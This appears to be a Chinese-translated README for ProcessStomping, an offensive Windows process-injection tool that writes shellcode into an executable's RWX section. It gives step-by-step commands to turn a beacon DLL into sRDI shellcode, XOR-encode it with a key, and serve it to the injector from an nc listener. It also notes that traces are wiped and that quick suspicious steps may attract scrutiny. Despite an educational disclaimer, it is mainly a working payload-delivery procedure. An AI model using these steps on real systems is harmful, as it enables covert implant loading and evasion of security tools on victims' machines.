ProcessOverwriting 的一种变体,用于在可执行文件的节区上执行 shellcode
更详细的解释请参阅我的博客文章
Process Stomping 是 hasherezade 的 Process Overwriting 的一种变体,其优势在于将 shellcode 载荷写入目标节区,而不是将整个 PE 载荷写入宿主进程的地址空间。
以下是 ProcessStomping 技术的主要步骤:
作为该技术的一个示例应用,PoC 可与 sRDI 结合使用,将 beacon dll 加载到可执行文件的 RWX 节区上。下图描述了涉及的步骤。

所有信息及内容仅供教育用途。请自行承担风险遵循指示。作者及其雇主对任何个人或组织造成的直接或间接损害或损失概不负责。
本工作的完成得益于 Aleksandra Doniec @hasherezade 和 Nick Landers 分享的知识与工具。
在 ProcessStomping.cpp 中选择目标进程并相应修改全局变量。
编译 sRDI 项目,确保偏移量足够跳过生成的 sRDI shellcode blob,然后更新 sRDI 工具:
cd \sRDI-master
python .\lib\Python\EncodeBlobs.py .\
生成你选择的无反射加载器 dll 载荷,然后生成 sRDI shellcode blob:
python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll
shellcode blob 随后可被异或一个关键词,并通过简单 socket 下载:
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
连接后传递异或后的 blob:
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
sRDI blob 会在执行后被清除,以移除不必要的痕迹。
https://github.com/naksyn/ProcessStomping/assets/59816245/8d9e1ac2-b47c-41d5-9f0e-1b3fee14ba50
要成功执行此技术,应选择合适的进程,并使用不含用户定义反射加载器的 dll 载荷。
Process Stomping 技术需要以挂起状态启动目标进程,更改线程入口点,然后恢复线程以执行注入的 shellcode。这些操作如果快速连续执行,可能被视为可疑,并可能导致某些安全解决方案的加强审查。